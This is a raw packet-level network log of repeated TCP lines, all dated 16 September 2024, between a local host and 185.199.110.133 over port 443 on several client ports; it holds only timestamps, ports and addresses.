Sep 16, 2024 19:33:01.746409893 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:01.746462107 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:01.746490955 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:01.746504068 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:01.746532917 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:01.746547937 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:01.746609926 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:01.746629953 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:01.746659040 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:01.746671915 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:01.746685982 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:01.746690035 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:01.746716022 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:01.746725082 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:01.746730089 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:01.746742964 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:01.746773005 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:01.747093916 CEST	443	49766	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:01.747117996 CEST	443	49766	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:01.747148037 CEST	49766	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:01.747154951 CEST	443	49766	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:01.747173071 CEST	443	49766	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:01.747178078 CEST	49766	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:01.747193098 CEST	443	49766	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:01.747196913 CEST	49766	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:01.747205019 CEST	443	49766	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:01.747235060 CEST	49766	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:01.747260094 CEST	49766	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:01.747636080 CEST	443	49766	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:01.747662067 CEST	443	49766	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:01.747689009 CEST	49766	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:01.747694969 CEST	443	49766	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:01.747735023 CEST	49766	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:01.747735023 CEST	49766	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:01.751008987 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:01.751071930 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:01.761117935 CEST	443	49763	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:01.761147976 CEST	443	49763	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:01.761190891 CEST	49763	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:01.761213064 CEST	443	49763	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:01.761241913 CEST	49763	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:01.761285067 CEST	49763	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:01.781655073 CEST	443	49766	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:01.781682014 CEST	443	49766	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:01.781717062 CEST	49766	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:01.781725883 CEST	443	49766	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:01.781757116 CEST	49766	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:01.781765938 CEST	49766	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:01.784492970 CEST	443	49766	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:01.784513950 CEST	443	49766	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:01.784543991 CEST	49766	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:01.784555912 CEST	443	49766	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:01.784590006 CEST	49766	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:01.784607887 CEST	49766	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:01.784964085 CEST	443	49766	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:01.784979105 CEST	443	49766	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:01.785032034 CEST	49766	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:01.785038948 CEST	443	49766	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:01.785079956 CEST	49766	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:01.787206888 CEST	443	49763	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:01.787282944 CEST	49763	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:01.787301064 CEST	443	49763	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:01.787368059 CEST	49763	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:01.787508965 CEST	443	49763	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:01.787554979 CEST	443	49763	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:01.787575006 CEST	49763	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:01.787586927 CEST	443	49763	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:01.787616014 CEST	49763	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:01.787633896 CEST	49763	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:01.787856102 CEST	443	49763	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:01.787935972 CEST	49763	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:01.787945986 CEST	443	49763	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:01.787974119 CEST	443	49763	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:01.788009882 CEST	49763	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:01.788048983 CEST	49763	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:01.788280010 CEST	443	49763	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:01.788345098 CEST	49763	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:01.788367987 CEST	443	49763	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:01.788427114 CEST	49763	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:01.788850069 CEST	443	49766	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:01.788873911 CEST	443	49766	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:01.788903952 CEST	49766	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:01.788909912 CEST	443	49766	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:01.788923025 CEST	49766	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:01.788954973 CEST	49766	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:01.789203882 CEST	443	49766	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:01.789227962 CEST	443	49766	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:01.789266109 CEST	49766	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:01.789271116 CEST	443	49766	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:01.789299965 CEST	49766	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:01.789320946 CEST	49766	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:01.789685011 CEST	443	49763	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:01.789742947 CEST	443	49763	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:01.789751053 CEST	49763	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:01.789764881 CEST	443	49763	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:01.789802074 CEST	49763	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:01.789828062 CEST	49763	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:01.795399904 CEST	443	49763	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:01.795445919 CEST	443	49763	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:01.795481920 CEST	49763	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:01.795494080 CEST	443	49763	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:01.795521021 CEST	49763	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:01.795541048 CEST	49763	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:01.795820951 CEST	443	49763	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:01.795864105 CEST	443	49763	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:01.795891047 CEST	49763	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:01.795901060 CEST	443	49763	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:01.795928001 CEST	49763	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:01.795947075 CEST	49763	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:01.834846020 CEST	443	49766	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:01.834881067 CEST	443	49766	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:01.834928036 CEST	49766	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:01.834939003 CEST	443	49766	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:01.834995985 CEST	49766	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:01.835273027 CEST	443	49766	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:01.835309029 CEST	49766	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:01.835313082 CEST	443	49766	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:01.835325003 CEST	49766	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:01.835331917 CEST	443	49766	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:01.835361958 CEST	49766	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:01.835391045 CEST	49766	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:01.835443020 CEST	443	49766	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:01.835464001 CEST	443	49766	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:01.835501909 CEST	49766	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:01.835509062 CEST	443	49766	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:01.835521936 CEST	49766	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:01.835566044 CEST	49766	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:01.856091976 CEST	443	49763	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:01.856134892 CEST	443	49763	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:01.856280088 CEST	49763	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:01.856280088 CEST	49763	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:01.856343985 CEST	443	49763	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:01.856400013 CEST	49763	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:01.864447117 CEST	49767	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:01.864500999 CEST	443	49767	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:01.864547014 CEST	443	49767	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:01.864586115 CEST	443	49767	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:01.864639044 CEST	49767	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:01.864773035 CEST	49767	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:01.868726969 CEST	443	49766	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:01.868758917 CEST	443	49766	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:01.868792057 CEST	49766	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:01.868798971 CEST	443	49766	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:01.868820906 CEST	49766	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:01.868829966 CEST	49766	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:01.871197939 CEST	443	49766	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:01.871233940 CEST	443	49766	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:01.871253967 CEST	49766	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:01.871259928 CEST	443	49766	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:01.871289015 CEST	49766	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:01.871303082 CEST	49766	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:01.871594906 CEST	443	49766	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:01.871632099 CEST	443	49766	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:01.871659994 CEST	49766	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:01.871669054 CEST	443	49766	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:01.871680021 CEST	49766	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:01.875792980 CEST	443	49766	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:01.875814915 CEST	443	49766	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:01.875859022 CEST	49766	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:01.875866890 CEST	443	49766	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:01.875904083 CEST	49766	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:01.876159906 CEST	443	49766	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:01.876182079 CEST	443	49766	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:01.876214027 CEST	49766	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:01.876220942 CEST	443	49766	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:01.876238108 CEST	49766	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:01.877650023 CEST	443	49763	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:01.877697945 CEST	443	49763	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:01.877737045 CEST	49763	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:01.877800941 CEST	443	49763	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:01.877836943 CEST	49763	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:01.877876997 CEST	49763	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:01.878012896 CEST	443	49763	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:01.878056049 CEST	443	49763	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:01.878081083 CEST	49763	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:01.878093004 CEST	443	49763	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:01.878122091 CEST	49763	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:01.878142118 CEST	49763	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:01.878730059 CEST	443	49763	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:01.878770113 CEST	443	49763	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:01.878798962 CEST	49763	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:01.878809929 CEST	443	49763	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:01.878838062 CEST	49763	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:01.878858089 CEST	49763	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:01.879143000 CEST	443	49763	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:01.879211903 CEST	443	49763	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:01.879226923 CEST	49763	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:01.879239082 CEST	443	49763	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:01.879270077 CEST	49763	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:01.879290104 CEST	49763	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:01.880703926 CEST	443	49763	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:01.880775928 CEST	49763	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:01.880784988 CEST	443	49763	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:01.880808115 CEST	443	49763	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:01.880844116 CEST	49763	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:01.880889893 CEST	49763	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:01.886396885 CEST	443	49763	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:01.886439085 CEST	443	49763	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:01.886468887 CEST	49763	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:01.886481047 CEST	443	49763	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:01.886511087 CEST	49763	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:01.886531115 CEST	49763	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:01.886715889 CEST	443	49763	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:01.886782885 CEST	49763	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:01.886795044 CEST	443	49763	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:01.886816025 CEST	443	49763	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:01.886853933 CEST	49763	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:01.886876106 CEST	49763	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:01.922288895 CEST	443	49766	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:01.922327995 CEST	443	49766	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:01.922374010 CEST	49766	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:01.922382116 CEST	443	49766	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:01.922394037 CEST	49766	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:01.922818899 CEST	443	49766	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:01.922842026 CEST	443	49766	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:01.922899008 CEST	49766	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:01.922899008 CEST	49766	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:01.922908068 CEST	443	49766	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:01.923047066 CEST	443	49766	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:01.923075914 CEST	443	49766	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:01.923105001 CEST	49766	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:01.923111916 CEST	443	49766	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:01.923140049 CEST	49766	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:01.947335958 CEST	443	49763	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:01.947438955 CEST	443	49763	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:01.947436094 CEST	49763	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:01.947508097 CEST	443	49763	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:01.947542906 CEST	49763	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:01.947635889 CEST	49763	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:01.955450058 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:01.955594063 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:01.955610037 CEST	443	49766	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:01.955630064 CEST	443	49766	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:01.955658913 CEST	49766	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:01.955666065 CEST	443	49766	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:01.955694914 CEST	49766	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:01.958076954 CEST	443	49766	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:01.958133936 CEST	49766	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:01.968744993 CEST	443	49763	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:01.968808889 CEST	443	49763	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:01.968832016 CEST	49763	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:01.968846083 CEST	443	49763	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:01.968877077 CEST	49763	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:01.968898058 CEST	49763	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:01.969377995 CEST	443	49763	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:01.969430923 CEST	443	49763	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:01.969455957 CEST	49763	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:01.969468117 CEST	443	49763	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:01.969494104 CEST	49763	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:01.969603062 CEST	49763	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:01.969911098 CEST	443	49763	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:01.969954967 CEST	443	49763	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:01.969980001 CEST	49763	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:01.969990015 CEST	443	49763	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:01.970016003 CEST	49763	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:01.970053911 CEST	49763	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:01.970510960 CEST	443	49763	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:01.970573902 CEST	443	49763	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:01.970599890 CEST	49763	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:01.970611095 CEST	443	49763	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:01.970638990 CEST	49763	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:01.970655918 CEST	49763	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:01.971693993 CEST	443	49763	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:01.971764088 CEST	443	49763	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:01.971797943 CEST	49763	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:01.971808910 CEST	443	49763	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:01.971834898 CEST	49763	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:01.971853018 CEST	49763	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:01.977288961 CEST	443	49763	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:01.977330923 CEST	443	49763	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:01.977360010 CEST	49763	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:01.977370977 CEST	443	49763	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:01.977402925 CEST	49763	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:01.977425098 CEST	49763	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:01.977652073 CEST	443	49763	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:01.977699995 CEST	443	49763	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:01.977741957 CEST	49763	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:01.977757931 CEST	443	49763	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:01.977782965 CEST	49763	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:01.977838039 CEST	49763	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:02.024673939 CEST	49767	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:02.024728060 CEST	443	49767	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:02.024772882 CEST	443	49767	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:02.024832010 CEST	443	49767	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:02.024873972 CEST	49767	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:02.024941921 CEST	49767	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:02.038862944 CEST	443	49763	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:02.038907051 CEST	443	49763	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:02.038937092 CEST	49763	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:02.038959980 CEST	443	49763	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:02.038983107 CEST	49763	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:02.039001942 CEST	49763	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:02.171453953 CEST	443	49766	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:02.235482931 CEST	443	49767	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:02.267450094 CEST	443	49763	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:02.297280073 CEST	49766	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:02.344177961 CEST	49767	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:02.395406961 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:02.395469904 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:02.406680107 CEST	49763	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:02.523444891 CEST	443	49766	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:02.523513079 CEST	49766	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:02.563445091 CEST	443	49767	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:02.563523054 CEST	49767	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:02.627448082 CEST	443	49763	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:02.627628088 CEST	49763	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:02.692257881 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:02.692280054 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:02.692292929 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:02.692456007 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:02.692464113 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:02.692491055 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:02.692538977 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:02.692553043 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:02.692569971 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:02.692575932 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:02.692596912 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:02.692620993 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:02.692625999 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:02.692683935 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:02.692703962 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:02.692708969 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:02.692735910 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:02.692748070 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:02.692795038 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:02.692821980 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:02.692827940 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:02.692856073 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:02.692862034 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:02.692884922 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:02.692962885 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:02.692962885 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:02.692970037 CEST	443	49765	185.199.110.133	192.168.2.4
